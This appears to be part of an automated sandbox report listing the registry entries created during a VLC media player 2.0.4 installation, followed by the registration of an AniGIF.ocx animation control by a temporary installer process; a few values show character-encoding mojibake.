"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.opus\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayName" = "VLC media player 2.0.4"

[HKCR\VLC.mp4]
"(Default)" = "VLC media file (.mp4)"

[HKCR\VLC.dts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aif\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2t" = ""
".m2v" = ""

[HKCR\VLC.pls\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga]
"(Default)" = "VLC media file (.oga)"

[HKCR\VLC.mp2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv]
"(Default)" = "VLC media file (.dv)"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\AudioCD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayCDAudioOnArrival]
"VLCPlayCDAudioOnArrival" = ""

[HKCR\VLC.cue\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Directory\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMinor" = "0"

[HKCR\VLC.wmv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rmvb\shell]
"(Default)" = "Open"

[HKCR\VLC.vob]
"(Default)" = "VLC media file (.vob)"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp2v" = ""

[HKCR\VLC.webm]
"(Default)" = "VLC media file (.webm)"

[HKCR\.ogx]
"(Default)" = "VLC.ogx"

[HKCR\VLC.au\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m2v\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg1" = ""
".IT" = ""
".mpeg2" = ""
".mpeg4" = ""

[HKCR\VLC.wav\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OPUS" = "VLC.opus"

[HKCR\VLC.mtv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell]
"(Default)" = "Open"

[HKCR\VLC.w64\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mlp" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeProgID" = "VLC.VCDMovie"

[HKCR\VLC.m4p\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ape\shell]
"(Default)" = "Open"

[HKCR\VLC.it\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.3gpp\shell\Open]
"(Default)" = "Play"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.spx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".a52" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"IconsVisible" = "1"

[HKCR\VLC.3gp2]
"(Default)" = "VLC media file (.3gp2)"

[HKCR\VLC.ogg]
"(Default)" = "VLC media file (.ogg)"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.tod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.au\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.w64\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.opus\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WV" = ""

[HKCR\.gxf]
"(Default)" = "VLC.gxf"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nuv" = "VLC.nuv"

[HKCR\VLC.mp2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mka]
"(Default)" = "VLC.mka"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Version]
"(Default)" = "1.0"

[HKCR\VLC.aob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U" = ""

[HKCR\VLC.mp4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ifo" = ""

[HKCR\VLC.mxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogm]
"(Default)" = "VLC media file (.ogm)"

[HKCR\VideoLAN.VLCPlugin\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gpp]
"(Default)" = "VLC.3gpp"

[HKCR\VLC.cda]
"(Default)" = "VLC media file (.cda)"

[HKCR\VLC.mkv\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpe" = "VLC.mpe"
".mpg" = "VLC.mpg"
".mpa" = "VLC.mpa"
".MPC" = "VLC.mpc"
".sdp" = "VLC.sdp"

[HKCR\VLC.m2t\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}]
"(Default)" = "䱖⁃捁楴敶⁘汐杵湩愠摮䤠⁅敗⁢汐杵湩 v2"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\VLC.mka\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4" = "VLC.mp4"

[HKCR\VLC.aif\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MP1" = "VLC.mp1"
".MP3" = "VLC.mp3"
".MP2" = "VLC.mp2"

[HKCR\VLC.mpeg1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mka\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".S3M" = ""

[HKCR\VLC.b4s\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open]
"(Default)" = "Play"

[HKCR\.f4v]
"(Default)" = "VLC.f4v"

[HKCR\VLC.ifo\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".asx" = ""
".asf" = ""

[HKCR\VLC.mp4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.nsv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKCR\VLC.ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin\CurVer]
"(Default)" = "楖敤䱯乁嘮䍌汐杵湩.2"

[HKCR\VLC.aob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder]
"(Default)" = "VLC Play content"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aob" = "VLC.aob"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mlp" = "VLC.mlp"

[HKCR\VLC.rmvb\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amr" = ""

[HKCR\VLC.m4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe %1"

[HKCR\VLC.aifc\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CUE" = ""

[HKCR\VLC.wma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\shell]
"(Default)" = "Open"

[HKCR\VLC.mpc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.caf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3ga" = ""

[HKCR\DVD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp" = ""

[HKCR\VLC.xm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell]
"(Default)" = "Open"

[HKCR\VLC.DVDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"UninstallString" = "%Program Files% (x86)\VideoLAN\VLC\uninstall.exe"

[HKCR\VLC.mpeg2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.caf\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ram" = ""

[HKCR\VLC.snd\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.4]
"Path" = "%Program Files% (x86)\VideoLAN\VLC\npvlc.dll"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\.mp1]
"(Default)" = "VLC.mp1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U8" = "VLC.m3u8"

[HKCR\VLC.m4a\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.voc]
"(Default)" = "VLC.voc"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKCR\VLC.nuv\shell\Open]
"(Default)" = "Play"

[HKCR\.m3u]
"(Default)" = "VLC.m3u"

[HKCR\VLC.mp3]
"(Default)" = "VLC media file (.mp3)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKCR\VLC.vlc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\楖敤䱯乁嘮䍌汐杵湩.1\CLSID]
"(Default)" = "{E23FE9C6-778E-49D4-B537-38FCDE4887D8}"

[HKCR\VLC.mov\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeProgID" = "VLC.SVCDMovie"

[HKCR\.pls]
"VLC.backup" = "PerlScriptFile"

[HKCR\VLC.mov\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe]
"(Default)" = "VLC media file (.mpe)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mka\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rm]
"(Default)" = "VLC media file (.rm)"

[HKCR\VLC.snd\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rec\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4v" = "VLC.mp4v"

[HKCR\.caf]
"(Default)" = "VLC.caf"

[HKCR\VLC.a52\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xspf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wav\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma]
"(Default)" = "VLC media file (.oma)"

[HKCR\VLC.VCDMovie]
"(Default)" = "VLC VCD Movie"

[HKCR\VLC.dts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg" = ""

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.mod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell]
"(Default)" = "Open"

The process GLJC014.tmp:3416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

